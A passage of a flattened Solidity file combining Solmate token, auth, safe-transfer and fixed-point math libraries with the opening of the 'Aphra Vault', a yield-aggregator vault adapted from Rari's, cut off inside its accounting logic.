/*///////////////////////////////////////////////////////////////
ERC20 LOGIC
//////////////////////////////////////////////////////////////*/
function approve(address spender, uint256 amount) public virtual returns (bool) {
allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transfer(address to, uint256 amount) public virtual returns (bool) {
balanceOf[msg.sender] -= amount;
// Cannot overflow because the sum of all user
// balances can't exceed the max uint256 value.
unchecked {
balanceOf[to] += amount;
}
emit Transfer(msg.sender, to, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual returns (bool) {
uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals.
if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;
balanceOf[from] -= amount;
// Cannot overflow because the sum of all user
// balances can't exceed the max uint256 value.
unchecked {
balanceOf[to] += amount;
}
emit Transfer(from, to, amount);
return true;
}
/*///////////////////////////////////////////////////////////////
EIP-2612 LOGIC
//////////////////////////////////////////////////////////////*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) public virtual {
require(deadline >= block.timestamp, "PERMIT_DEADLINE_EXPIRED");
// Unchecked because the only math done is incrementing
// the owner's nonce which cannot realistically overflow.
unchecked {
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR(),
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, "INVALID_SIGNER");
allowance[recoveredAddress][spender] = value;
}
emit Approval(owner, spender, value);
}
function DOMAIN_SEPARATOR() public view virtual returns (bytes32) {
return block.chainid == INITIAL_CHAIN_ID ? INITIAL_DOMAIN_SEPARATOR : computeDomainSeparator();
}
function computeDomainSeparator() internal view virtual returns (bytes32) {
return
keccak256(
abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256("1"),
block.chainid,
address(this)
)
);
}
/*///////////////////////////////////////////////////////////////
INTERNAL MINT/BURN LOGIC
//////////////////////////////////////////////////////////////*/
function _mint(address to, uint256 amount) internal virtual {
totalSupply += amount;
// Cannot overflow because the sum of all user
// balances can't exceed the max uint256 value.
unchecked {
balanceOf[to] += amount;
}
emit Transfer(address(0), to, amount);
}
function _burn(address from, uint256 amount) internal virtual {
balanceOf[from] -= amount;
// Cannot underflow because a user's balance
// will never be larger than the total supply.
unchecked {
totalSupply -= amount;
}
emit Transfer(from, address(0), amount);
}
}
// File @rari-capital/solmate/src/auth/[email protected]
pragma solidity >=0.8.0;
/// @notice Provides a flexible and updatable auth pattern which is completely separate from application logic.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/auth/Auth.sol)
/// @author Modified from Dappsys (https://github.com/dapphub/ds-auth/blob/master/src/auth.sol)
abstract contract Auth {
event OwnerUpdated(address indexed user, address indexed newOwner);
event AuthorityUpdated(address indexed user, Authority indexed newAuthority);
address public owner;
Authority public authority;
constructor(address _owner, Authority _authority) {
owner = _owner;
authority = _authority;
emit OwnerUpdated(msg.sender, _owner);
emit AuthorityUpdated(msg.sender, _authority);
}
modifier requiresAuth() {
require(isAuthorized(msg.sender, msg.sig), "UNAUTHORIZED");
_;
}
function isAuthorized(address user, bytes4 functionSig) internal view virtual returns (bool) {
Authority auth = authority; // Memoizing authority saves us a warm SLOAD, around 100 gas.
// Checking if the caller is the owner only after calling the authority saves gas in most cases, but be
// aware that this makes protected functions uncallable even to the owner if the authority is out of order.
return (address(auth) != address(0) && auth.canCall(user, address(this), functionSig)) || user == owner;
}
function setAuthority(Authority newAuthority) public virtual {
// We check if the caller is the owner first because we want to ensure they can
// always swap out the authority even if it's reverting or using up a lot of gas.
require(msg.sender == owner || authority.canCall(msg.sender, address(this), msg.sig));
authority = newAuthority;
emit AuthorityUpdated(msg.sender, newAuthority);
}
function setOwner(address newOwner) public virtual requiresAuth {
owner = newOwner;
emit OwnerUpdated(msg.sender, newOwner);
}
}
/// @notice A generic interface for a contract which provides authorization data to an Auth instance.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/auth/Auth.sol)
/// @author Modified from Dappsys (https://github.com/dapphub/ds-auth/blob/master/src/auth.sol)
interface Authority {
function canCall(
address user,
address target,
bytes4 functionSig
) external view returns (bool);
}
// File @rari-capital/solmate/src/utils/[email protected]
pragma solidity >=0.8.0;
/// @notice Safe ETH and ERC20 transfer library that gracefully handles missing return values.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/utils/SafeTransferLib.sol)
/// @author Modified from Gnosis (https://github.com/gnosis/gp-v2-contracts/blob/main/src/contracts/libraries/GPv2SafeERC20.sol)
/// @dev Use with caution! Some functions in this library knowingly create dirty bits at the destination of the free memory pointer.
library SafeTransferLib {
/*///////////////////////////////////////////////////////////////
ETH OPERATIONS
//////////////////////////////////////////////////////////////*/
function safeTransferETH(address to, uint256 amount) internal {
bool callStatus;
assembly {
// Transfer the ETH and store if it succeeded or not.
callStatus := call(gas(), to, amount, 0, 0, 0, 0)
}
require(callStatus, "ETH_TRANSFER_FAILED");
}
/*///////////////////////////////////////////////////////////////
ERC20 OPERATIONS
//////////////////////////////////////////////////////////////*/
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 amount
) internal {
bool callStatus;
assembly {
// Get a pointer to some free memory.
let freeMemoryPointer := mload(0x40)
// Write the abi-encoded calldata to memory piece by piece:
mstore(freeMemoryPointer, 0x23b872dd00000000000000000000000000000000000000000000000000000000) // Begin with the function selector.
mstore(add(freeMemoryPointer, 4), and(from, 0xffffffffffffffffffffffffffffffffffffffff)) // Mask and append the "from" argument.
mstore(add(freeMemoryPointer, 36), and(to, 0xffffffffffffffffffffffffffffffffffffffff)) // Mask and append the "to" argument.
mstore(add(freeMemoryPointer, 68), amount) // Finally append the "amount" argument. No mask as it's a full 32 byte value.
// Call the token and store if it succeeded or not.
// We use 100 because the calldata length is 4 + 32 * 3.
callStatus := call(gas(), token, 0, freeMemoryPointer, 100, 0, 0)
}
require(didLastOptionalReturnCallSucceed(callStatus), "TRANSFER_FROM_FAILED");
}
function safeTransfer(
ERC20 token,
address to,
uint256 amount
) internal {
bool callStatus;
assembly {
// Get a pointer to some free memory.
let freeMemoryPointer := mload(0x40)
// Write the abi-encoded calldata to memory piece by piece:
mstore(freeMemoryPointer, 0xa9059cbb00000000000000000000000000000000000000000000000000000000) // Begin with the function selector.
mstore(add(freeMemoryPointer, 4), and(to, 0xffffffffffffffffffffffffffffffffffffffff)) // Mask and append the "to" argument.
mstore(add(freeMemoryPointer, 36), amount) // Finally append the "amount" argument. No mask as it's a full 32 byte value.
// Call the token and store if it succeeded or not.
// We use 68 because the calldata length is 4 + 32 * 2.
callStatus := call(gas(), token, 0, freeMemoryPointer, 68, 0, 0)
}
require(didLastOptionalReturnCallSucceed(callStatus), "TRANSFER_FAILED");
}
function safeApprove(
ERC20 token,
address to,
uint256 amount
) internal {
bool callStatus;
assembly {
// Get a pointer to some free memory.
let freeMemoryPointer := mload(0x40)
// Write the abi-encoded calldata to memory piece by piece:
mstore(freeMemoryPointer, 0x095ea7b300000000000000000000000000000000000000000000000000000000) // Begin with the function selector.
mstore(add(freeMemoryPointer, 4), and(to, 0xffffffffffffffffffffffffffffffffffffffff)) // Mask and append the "to" argument.
mstore(add(freeMemoryPointer, 36), amount) // Finally append the "amount" argument. No mask as it's a full 32 byte value.
// Call the token and store if it succeeded or not.
// We use 68 because the calldata length is 4 + 32 * 2.
callStatus := call(gas(), token, 0, freeMemoryPointer, 68, 0, 0)
}
require(didLastOptionalReturnCallSucceed(callStatus), "APPROVE_FAILED");
}
/*///////////////////////////////////////////////////////////////
INTERNAL HELPER LOGIC
//////////////////////////////////////////////////////////////*/
function didLastOptionalReturnCallSucceed(bool callStatus) private pure returns (bool success) {
assembly {
// Get how many bytes the call returned.
let returnDataSize := returndatasize()
// If the call reverted:
if iszero(callStatus) {
// Copy the revert message into memory.
returndatacopy(0, 0, returnDataSize)
// Revert with the same message.
revert(0, returnDataSize)
}
switch returnDataSize
case 32 {
// Copy the return data into memory.
returndatacopy(0, 0, returnDataSize)
// Set success to whether it returned true.
success := iszero(iszero(mload(0)))
}
case 0 {
// There was no return data.
success := 1
}
default {
// It returned some malformed input.
success := 0
}
}
}
}
// File @rari-capital/solmate/src/tokens/[email protected]
pragma solidity >=0.8.0;
/// @notice Minimalist and modern Wrapped Ether implementation.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/WETH.sol)
/// @author Inspired by WETH9 (https://github.com/dapphub/ds-weth/blob/master/src/weth9.sol)
contract WETH is ERC20("Wrapped Ether", "WETH", 18) {
using SafeTransferLib for address;
event Deposit(address indexed from, uint256 amount);
event Withdrawal(address indexed to, uint256 amount);
function deposit() public payable virtual {
_mint(msg.sender, msg.value);
emit Deposit(msg.sender, msg.value);
}
function withdraw(uint256 amount) public virtual {
_burn(msg.sender, amount);
emit Withdrawal(msg.sender, amount);
msg.sender.safeTransferETH(amount);
}
receive() external payable virtual {
deposit();
}
}
// File @rari-capital/solmate/src/utils/[email protected]
pragma solidity >=0.8.0;
/// @notice Safe unsigned integer casting library that reverts on overflow.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/utils/SafeCastLib.sol)
/// @author Modified from OpenZeppelin (https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeCast.sol)
library SafeCastLib {
function safeCastTo248(uint256 x) internal pure returns (uint248 y) {
require(x <= type(uint248).max);
y = uint248(x);
}
function safeCastTo128(uint256 x) internal pure returns (uint128 y) {
require(x <= type(uint128).max);
y = uint128(x);
}
function safeCastTo96(uint256 x) internal pure returns (uint96 y) {
require(x <= type(uint96).max);
y = uint96(x);
}
function safeCastTo64(uint256 x) internal pure returns (uint64 y) {
require(x <= type(uint64).max);
y = uint64(x);
}
function safeCastTo32(uint256 x) internal pure returns (uint32 y) {
require(x <= type(uint32).max);
y = uint32(x);
}
}
// File srcBuild/FixedPointMathLib.sol
pragma solidity >=0.8.0;
/// @notice Arithmetic library with operations for fixed-point numbers.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/utils/FixedPointMathLib.sol)
/// @author Inspired by USM (https://github.com/usmfum/USM/blob/master/contracts/WadMath.sol)
library FixedPointMathLib {
/* ///////////////////////////////////////////////////////////////
SIMPLIFIED FIXED POINT OPERATIONS
////////////////////////////////////////////////////////////// */
uint256 internal constant WAD = 1e18; // The scalar of ETH and most ERC20s.
function mulWadDown(uint256 x, uint256 y) internal pure returns (uint256) {
return mulDivDown(x, y, WAD);
// Equivalent to (x * y) / WAD rounded down.
}
function mulWadUp(uint256 x, uint256 y) internal pure returns (uint256) {
return mulDivUp(x, y, WAD);
// Equivalent to (x * y) / WAD rounded up.
}
function divWadDown(uint256 x, uint256 y) internal pure returns (uint256) {
return mulDivDown(x, WAD, y);
// Equivalent to (x * WAD) / y rounded down.
}
function divWadUp(uint256 x, uint256 y) internal pure returns (uint256) {
return mulDivUp(x, WAD, y);
// Equivalent to (x * WAD) / y rounded up.
}
/* ///////////////////////////////////////////////////////////////
LOW LEVEL FIXED POINT OPERATIONS
//////////////////////////////////////////////////////////////*/
function fmul(
uint256 x,
uint256 y,
uint256 baseUnit
) internal pure returns (uint256 z) {
assembly {
// Store x * y in z for now.
z := mul(x, y)
// Equivalent to require(x == 0 || (x * y) / x == y)
if iszero(or(iszero(x), eq(div(z, x), y))) {
revert(0, 0)
}
// If baseUnit is zero this will return zero instead of reverting.
z := div(z, baseUnit)
}
}
function fdiv(
uint256 x,
uint256 y,
uint256 baseUnit
) internal pure returns (uint256 z) {
assembly {
// Store x * baseUnit in z for now.
z := mul(x, baseUnit)
// Equivalent to require(y != 0 && (x == 0 || (x * baseUnit) / x == baseUnit))
if iszero(and(iszero(iszero(y)), or(iszero(x), eq(div(z, x), baseUnit)))) {
revert(0, 0)
}
// We ensure y is not zero above, so there is never division by zero here.
z := div(z, y)
}
}
function mulDivDown(
uint256 x,
uint256 y,
uint256 denominator
) internal pure returns (uint256 z) {
assembly {
// Store x * y in z for now.
z := mul(x, y)
// Equivalent to require(denominator != 0 && (x == 0 || (x * y) / x == y))
if iszero(and(iszero(iszero(denominator)), or(iszero(x), eq(div(z, x), y)))) {
revert(0, 0)
}
// Divide z by the denominator.
z := div(z, denominator)
}
}
function mulDivUp(
uint256 x,
uint256 y,
uint256 denominator
) internal pure returns (uint256 z) {
assembly {
// Store x * y in z for now.
z := mul(x, y)
// Equivalent to require(denominator != 0 && (x == 0 || (x * y) / x == y))
if iszero(and(iszero(iszero(denominator)), or(iszero(x), eq(div(z, x), y)))) {
revert(0, 0)
}
// First, divide z - 1 by the denominator and add 1.
// Then multiply it by 0 if z is zero, or 1 otherwise.
z := mul(iszero(iszero(z)), add(div(sub(z, 1), denominator), 1))
}
}
function rpow(
uint256 x,
uint256 n,
uint256 denominator
) internal pure returns (uint256 z) {
assembly {
switch x
case 0 {
switch n
case 0 {
// 0 ** 0 = 1
z := denominator
}
default {
// 0 ** n = 0
z := 0
}
}
default {
switch mod(n, 2)
case 0 {
// If n is even, store denominator in z for now.
z := denominator
}
default {
// If n is odd, store x in z for now.
z := x
}
// Shifting right by 1 is like dividing by 2.
let half := shr(1, denominator)
for {
// Shift n right by 1 before looping to halve it.
n := shr(1, n)
} n {
// Shift n right by 1 each iteration to halve it.
n := shr(1, n)
} {
// Revert immediately if x ** 2 would overflow.
// Equivalent to iszero(eq(div(xx, x), x)) here.
if shr(128, x) {
revert(0, 0)
}
// Store x squared.
let xx := mul(x, x)
// Round to the nearest number.
let xxRound := add(xx, half)
// Revert if xx + half overflowed.
if lt(xxRound, xx) {
revert(0, 0)
}
// Set x to scaled xxRound.
x := div(xxRound, denominator)
// If n is even:
if mod(n, 2) {
// Compute z * x.
let zx := mul(z, x)
// If z * x overflowed:
if iszero(eq(div(zx, x), z)) {
// Revert if x is non-zero.
if iszero(iszero(x)) {
revert(0, 0)
}
}
// Round to the nearest number.
let zxRound := add(zx, half)
// Revert if zx + half overflowed.
if lt(zxRound, zx) {
revert(0, 0)
}
// Return properly scaled zxRound.
z := div(zxRound, denominator)
}
}
}
}
}
/* ///////////////////////////////////////////////////////////////
GENERAL NUMBER UTILITIES
//////////////////////////////////////////////////////////////*/
function sqrt(uint256 x) internal pure returns (uint256 z) {
assembly {
// Start off with z at 1.
z := 1
// Used below to help find a nearby power of 2.
let y := x
// Find the lowest power of 2 that is at least sqrt(x).
if iszero(lt(y, 0x100000000000000000000000000000000)) {
y := shr(128, y) // Like dividing by 2 ** 128.
z := shl(64, z)
}
if iszero(lt(y, 0x10000000000000000)) {
y := shr(64, y) // Like dividing by 2 ** 64.
z := shl(32, z)
}
if iszero(lt(y, 0x100000000)) {
y := shr(32, y) // Like dividing by 2 ** 32.
z := shl(16, z)
}
if iszero(lt(y, 0x10000)) {
y := shr(16, y) // Like dividing by 2 ** 16.
z := shl(8, z)
}
if iszero(lt(y, 0x100)) {
y := shr(8, y) // Like dividing by 2 ** 8.
z := shl(4, z)
}
if iszero(lt(y, 0x10)) {
y := shr(4, y) // Like dividing by 2 ** 4.
z := shl(2, z)
}
if iszero(lt(y, 0x8)) {
// Equivalent to 2 ** z.
z := shl(1, z)
}
// Shifting right by 1 is like dividing by 2.
z := shr(1, add(z, div(x, z)))
z := shr(1, add(z, div(x, z)))
z := shr(1, add(z, div(x, z)))
z := shr(1, add(z, div(x, z)))
z := shr(1, add(z, div(x, z)))
z := shr(1, add(z, div(x, z)))
z := shr(1, add(z, div(x, z)))
// Compute a rounded down version of z.
let zRoundDown := div(x, z)
// If zRoundDown is smaller, use it.
if lt(zRoundDown, z) {
z := zRoundDown
}
}
}
}
// File srcBuild/interfaces/Strategy.sol
pragma solidity ^0.8.11;
/// @notice Minimal interface for Vault compatible strategies.
/// @dev Designed for out of the box compatibility with Fuse cTokens.
/// @dev Like cTokens, strategies must be transferrable ERC20s.
abstract contract Strategy is ERC20 {
/// @notice Returns whether the strategy accepts ETH or an ERC20.
/// @return True if the strategy accepts ETH, false otherwise.
/// @dev Only present in Fuse cTokens, not Compound cTokens.
function isCEther() external view virtual returns (bool);
/// @notice Withdraws a specific amount of underlying tokens from the strategy.
/// @param amount The amount of underlying tokens to withdraw.
/// @return An error code, or 0 if the withdrawal was successful.
function redeemUnderlying(uint256 amount) external virtual returns (uint256);
/// @notice Returns a user's strategy balance in underlying tokens.
/// @param user The user to get the underlying balance of.
/// @return The user's strategy balance in underlying tokens.
/// @dev May mutate the state of the strategy by accruing interest.
function balanceOfUnderlying(address user) external virtual returns (uint256);
}
/// @notice Minimal interface for Vault strategies that accept ERC20s.
/// @dev Designed for out of the box compatibility with Fuse cERC20s.
abstract contract ERC20Strategy is Strategy {
/// @notice Returns the underlying ERC20 token the strategy accepts.
/// @return The underlying ERC20 token the strategy accepts.
function underlying() external view virtual returns (ERC20);
/// @notice Deposit a specific amount of underlying tokens into the strategy.
/// @param amount The amount of underlying tokens to deposit.
/// @return An error code, or 0 if the deposit was successful.
function mint(uint256 amount) external virtual returns (uint256);
}
/// @notice Minimal interface for Vault strategies that accept ETH.
/// @dev Designed for out of the box compatibility with Fuse cEther.
abstract contract ETHStrategy is Strategy {
/// @notice Deposit a specific amount of ETH into the strategy.
/// @dev The amount of ETH is specified via msg.value. Reverts on error.
function mint() external payable virtual;
}
// File srcBuild/Vault.sol
pragma solidity ^0.8.11;
/// @title Aphra Vault (avToken)
/// @author Transmissions11 and JetJadeja
/// @notice Flexible, minimalist, and gas-optimized yield
/// aggregator for earning interest on any ERC20 token.
/// @notice changes from original are to rename Rari -> Aphra tokens and any usage of rvToken => avToken
contract Vault is ERC20, Auth {
using SafeCastLib for uint256;
using SafeTransferLib for ERC20;
using FixedPointMathLib for uint256;
/* //////////////////////////////////////////////////////////////
CONSTANTS
///////////////////////////////////////////////////////////// */
/// @notice The maximum number of elements allowed on the withdrawal stack.
/// @dev Needed to prevent denial of service attacks by queue operators.
uint256 internal constant MAX_WITHDRAWAL_STACK_SIZE = 32;
/* //////////////////////////////////////////////////////////////
IMMUTABLES
///////////////////////////////////////////////////////////// */
/// @notice The underlying token the Vault accepts.
ERC20 public immutable UNDERLYING;
/// @notice The base unit of the underlying token and hence avToken.
/// @dev Equal to 10 ** decimals. Used for fixed point arithmetic.
uint256 internal immutable BASE_UNIT;
/// @notice Creates a new Vault that accepts a specific underlying token.
/// @param _UNDERLYING The ERC20 compliant token the Vault should accept.
constructor(ERC20 _UNDERLYING)
ERC20(
// ex:Aphra Vader Vault
string(abi.encodePacked("Aphra ", _UNDERLYING.name(), " Vault")),
// ex: avVader
string(abi.encodePacked("av", _UNDERLYING.symbol())),
// ex: 18
_UNDERLYING.decimals()
)
Auth(Auth(msg.sender).owner(), Auth(msg.sender).authority())
{
UNDERLYING = _UNDERLYING;
BASE_UNIT = 10**decimals;
// Prevent minting of avTokens until
// the initialize function is called.
totalSupply = type(uint256).max;
}
/* //////////////////////////////////////////////////////////////
FEE CONFIGURATION
///////////////////////////////////////////////////////////// */
/// @notice The percentage of profit recognized each harvest to reserve as fees.
/// @dev A fixed point number where 1e18 represents 100% and 0 represents 0%.
uint256 public feePercent;
/// @notice Emitted when the fee percentage is updated.
/// @param user The authorized user who triggered the update.
/// @param newFeePercent The new fee percentage.
event FeePercentUpdated(address indexed user, uint256 newFeePercent);
/// @notice Sets a new fee percentage.
/// @param newFeePercent The new fee percentage.
function setFeePercent(uint256 newFeePercent) external requiresAuth {
// A fee percentage over 100% doesn't make sense.
require(newFeePercent <= 1e18, "FEE_TOO_HIGH");
// Update the fee percentage.
feePercent = newFeePercent;
emit FeePercentUpdated(msg.sender, newFeePercent);
}
/* //////////////////////////////////////////////////////////////
HARVEST CONFIGURATION
///////////////////////////////////////////////////////////// */
/// @notice Emitted when the harvest window is updated.
/// @param user The authorized user who triggered the update.
/// @param newHarvestWindow The new harvest window.
event HarvestWindowUpdated(address indexed user, uint128 newHarvestWindow);
/// @notice Emitted when the harvest delay is updated.
/// @param user The authorized user who triggered the update.
/// @param newHarvestDelay The new harvest delay.
event HarvestDelayUpdated(address indexed user, uint64 newHarvestDelay);
/// @notice Emitted when the harvest delay is scheduled to be updated next harvest.
/// @param user The authorized user who triggered the update.
/// @param newHarvestDelay The scheduled updated harvest delay.
event HarvestDelayUpdateScheduled(address indexed user, uint64 newHarvestDelay);
/// @notice The period in seconds during which multiple harvests can occur
/// regardless if they are taking place before the harvest delay has elapsed.
/// @dev Long harvest windows open the Vault up to profit distribution slowdown attacks.
uint128 public harvestWindow;
/// @notice The period in seconds over which locked profit is unlocked.
/// @dev Cannot be 0 as it opens harvests up to sandwich attacks.
uint64 public harvestDelay;
/// @notice The value that will replace harvestDelay next harvest.
/// @dev In the case that the next delay is 0, no update will be applied.
uint64 public nextHarvestDelay;
/// @notice Sets a new harvest window.
/// @param newHarvestWindow The new harvest window.
/// @dev The Vault's harvestDelay must already be set before calling.
function setHarvestWindow(uint128 newHarvestWindow) external requiresAuth {
// A harvest window longer than the harvest delay doesn't make sense.
require(newHarvestWindow <= harvestDelay, "WINDOW_TOO_LONG");
// Update the harvest window.
harvestWindow = newHarvestWindow;
emit HarvestWindowUpdated(msg.sender, newHarvestWindow);
}
/// @notice Sets a new harvest delay.
/// @param newHarvestDelay The new harvest delay to set.
/// @dev If the current harvest delay is 0, meaning it has not
/// been set before, it will be updated immediately, otherwise
/// it will be scheduled to take effect after the next harvest.
function setHarvestDelay(uint64 newHarvestDelay) external requiresAuth {
// A harvest delay of 0 makes harvests vulnerable to sandwich attacks.
require(newHarvestDelay != 0, "DELAY_CANNOT_BE_ZERO");
// A harvest delay longer than 1 year doesn't make sense.
require(newHarvestDelay <= 365 days, "DELAY_TOO_LONG");
// If the harvest delay is 0, meaning it has not been set before:
if (harvestDelay == 0) {
// We'll apply the update immediately.
harvestDelay = newHarvestDelay;
emit HarvestDelayUpdated(msg.sender, newHarvestDelay);
} else {
// We'll apply the update next harvest.
nextHarvestDelay = newHarvestDelay;
emit HarvestDelayUpdateScheduled(msg.sender, newHarvestDelay);
}
}
/* //////////////////////////////////////////////////////////////
TARGET FLOAT CONFIGURATION
///////////////////////////////////////////////////////////// */
/// @notice The desired percentage of the Vault's holdings to keep as float.
/// @dev A fixed point number where 1e18 represents 100% and 0 represents 0%.
uint256 public targetFloatPercent;
/// @notice Emitted when the target float percentage is updated.
/// @param user The authorized user who triggered the update.
/// @param newTargetFloatPercent The new target float percentage.
event TargetFloatPercentUpdated(address indexed user, uint256 newTargetFloatPercent);
/// @notice Set a new target float percentage.
/// @param newTargetFloatPercent The new target float percentage.
function setTargetFloatPercent(uint256 newTargetFloatPercent) external requiresAuth {
// A target float percentage over 100% doesn't make sense.
require(newTargetFloatPercent <= 1e18, "TARGET_TOO_HIGH");
// Update the target float percentage.
targetFloatPercent = newTargetFloatPercent;
emit TargetFloatPercentUpdated(msg.sender, newTargetFloatPercent);
}
/* //////////////////////////////////////////////////////////////
UNDERLYING IS WETH CONFIGURATION
///////////////////////////////////////////////////////////// */
/// @notice Whether the Vault should treat the underlying token as WETH compatible.
/// @dev If enabled the Vault will allow trusting strategies that accept Ether.
bool public underlyingIsWETH;
/// @notice Emitted when whether the Vault should treat the underlying as WETH is updated.
/// @param user The authorized user who triggered the update.
/// @param newUnderlyingIsWETH Whether the Vault nows treats the underlying as WETH.
event UnderlyingIsWETHUpdated(address indexed user, bool newUnderlyingIsWETH);
/// @notice Sets whether the Vault treats the underlying as WETH.
/// @param newUnderlyingIsWETH Whether the Vault should treat the underlying as WETH.
/// @dev The underlying token must have 18 decimals, to match Ether's decimal scheme.
function setUnderlyingIsWETH(bool newUnderlyingIsWETH) external requiresAuth {
// Ensure the underlying token's decimals match ETH if is WETH being set to true.
require(!newUnderlyingIsWETH || UNDERLYING.decimals() == 18, "WRONG_DECIMALS");
// Update whether the Vault treats the underlying as WETH.
underlyingIsWETH = newUnderlyingIsWETH;
emit UnderlyingIsWETHUpdated(msg.sender, newUnderlyingIsWETH);
}
/* //////////////////////////////////////////////////////////////
STRATEGY STORAGE
///////////////////////////////////////////////////////////// */
/// @notice The total amount of underlying tokens held in strategies at the time of the last harvest.
/// @dev Includes maxLockedProfit, must be correctly subtracted to compute available/free holdings.
uint256 public totalStrategyHoldings;
/// @dev Packed struct of strategy data.
/// @param trusted Whether the strategy is trusted.
/// @param balance The amount of underlying tokens held in the strategy.
struct StrategyData {
// Used to determine if the Vault will operate on a strategy.
bool trusted;
// Used to determine profit and loss during harvests of the strategy.
uint248 balance;
}
/// @notice Maps strategies to data the Vault holds on them.
mapping(Strategy => StrategyData) public getStrategyData;
/* //////////////////////////////////////////////////////////////
HARVEST STORAGE
///////////////////////////////////////////////////////////// */
/// @notice A timestamp representing when the first harvest in the most recent harvest window occurred.
/// @dev May be equal to lastHarvest if there was/has only been one harvest in the most last/current window.
uint64 public lastHarvestWindowStart;
/// @notice A timestamp representing when the most recent harvest occurred.
uint64 public lastHarvest;
/// @notice The amount of locked profit at the end of the last harvest.
uint128 public maxLockedProfit;
/* //////////////////////////////////////////////////////////////
WITHDRAWAL STACK STORAGE
///////////////////////////////////////////////////////////// */
/// @notice An ordered array of strategies representing the withdrawal stack.
/// @dev The stack is processed in descending order, meaning the last index will be withdrawn from first.
/// @dev Strategies that are untrusted, duplicated, or have no balance are filtered out when encountered at
/// withdrawal time, not validated upfront, meaning the stack may not reflect the "true" set used for withdrawals.
Strategy[] public withdrawalStack;
/// @notice Gets the full withdrawal stack.
/// @return An ordered array of strategies representing the withdrawal stack.
/// @dev This is provided because Solidity converts public arrays into index getters,
/// but we need a way to allow external contracts and users to access the whole array.
function getWithdrawalStack() external view returns (Strategy[] memory) {
return withdrawalStack;
}
/* //////////////////////////////////////////////////////////////
DEPOSIT/WITHDRAWAL LOGIC
///////////////////////////////////////////////////////////// */
/// @notice Emitted after a successful deposit.
/// @param user The address that deposited into the Vault.
/// @param underlyingAmount The amount of underlying tokens that were deposited.
event Deposit(address indexed user, uint256 underlyingAmount);
/// @notice Emitted after a successful withdrawal.
/// @param user The address that withdrew from the Vault.
/// @param underlyingAmount The amount of underlying tokens that were withdrawn.
event Withdraw(address indexed user, uint256 underlyingAmount);
/// @notice Deposit a specific amount of underlying tokens.
/// @param underlyingAmount The amount of the underlying token to deposit.
function deposit(uint256 underlyingAmount) external {
// Determine the equivalent amount of avTokens and mint them.
_mint(msg.sender, underlyingAmount.fdiv(exchangeRate(), BASE_UNIT));
emit Deposit(msg.sender, underlyingAmount);
// Transfer in underlying tokens from the user.
// This will revert if the user does not have the amount specified.
UNDERLYING.safeTransferFrom(msg.sender, address(this), underlyingAmount);
}
/// @notice Withdraw a specific amount of underlying tokens.
/// @param underlyingAmount The amount of underlying tokens to withdraw.
function withdraw(uint256 underlyingAmount) external {
// Determine the equivalent amount of avTokens and burn them.
// This will revert if the user does not have enough avTokens.
_burn(msg.sender, underlyingAmount.fdiv(exchangeRate(), BASE_UNIT));
emit Withdraw(msg.sender, underlyingAmount);
// Withdraw from strategies if needed and transfer.
transferUnderlyingTo(msg.sender, underlyingAmount);
}
/// @notice Redeem a specific amount of avTokens for underlying tokens.
/// @param avTokenAmount The amount of avTokens to redeem for underlying tokens.
function redeem(uint256 avTokenAmount) external {
// Determine the equivalent amount of underlying tokens.
uint256 underlyingAmount = avTokenAmount.fmul(exchangeRate(), BASE_UNIT);
// Burn the provided amount of avTokens.
// This will revert if the user does not have enough avTokens.
_burn(msg.sender, avTokenAmount);
emit Withdraw(msg.sender, underlyingAmount);
// Withdraw from strategies if needed and transfer.
transferUnderlyingTo(msg.sender, underlyingAmount);
}
/// @dev Transfers a specific amount of underlying tokens held in strategies and/or float to a recipient.
/// @dev Only withdraws from strategies if needed and maintains the target float percentage if possible.
/// @param recipient The user to transfer the underlying tokens to.
/// @param underlyingAmount The amount of underlying tokens to transfer.
function transferUnderlyingTo(address recipient, uint256 underlyingAmount) internal {
// Get the Vault's floating balance.
uint256 float = totalFloat();
// If the amount is greater than the float, withdraw from strategies.
if (underlyingAmount > float) {
// Compute the amount needed to reach our target float percentage.
uint256 floatMissingForTarget = (totalHoldings() - underlyingAmount).fmul(targetFloatPercent, 1e18);
// Compute the bare minimum amount we need for this withdrawal.
uint256 floatMissingForWithdrawal = underlyingAmount - float;
// Pull enough to cover the withdrawal and reach our target float percentage.
pullFromWithdrawalStack(floatMissingForWithdrawal + floatMissingForTarget);
}
// Transfer the provided amount of underlying tokens.
UNDERLYING.safeTransfer(recipient, underlyingAmount);
}
/* //////////////////////////////////////////////////////////////
VAULT ACCOUNTING LOGIC
///////////////////////////////////////////////////////////// */
/// @notice Returns a user's Vault balance in underlying tokens.
/// @param user The user to get the underlying balance of.
/// @return The user's Vault balance in underlying tokens.
function balanceOfUnderlying(address user) external view returns (uint256) {
return balanceOf[user].fmul(exchangeRate(), BASE_UNIT);
}
/// @notice Returns the amount of underlying tokens an avToken can be redeemed for.
/// @return The amount of underlying tokens an avToken can be redeemed for.
function exchangeRate() public view returns (uint256) {
// Get the total supply of avTokens.
uint256 avTokenSupply = totalSupply;
// If there are no avTokens in circulation, return an exchange rate of 1:1.
if (avTokenSupply == 0) return BASE_UNIT;
// Calculate the exchange rate by dividing the total holdings by the avToken supply.
return totalHoldings().fdiv(avTokenSupply, BASE_UNIT);
}
/// @notice Calculates the total amount of underlying tokens the Vault holds.
/// @return totalUnderlyingHeld The total amount of underlying tokens the Vault holds.
function totalHoldings() public view returns (uint256 totalUnderlyingHeld) {
unchecked {
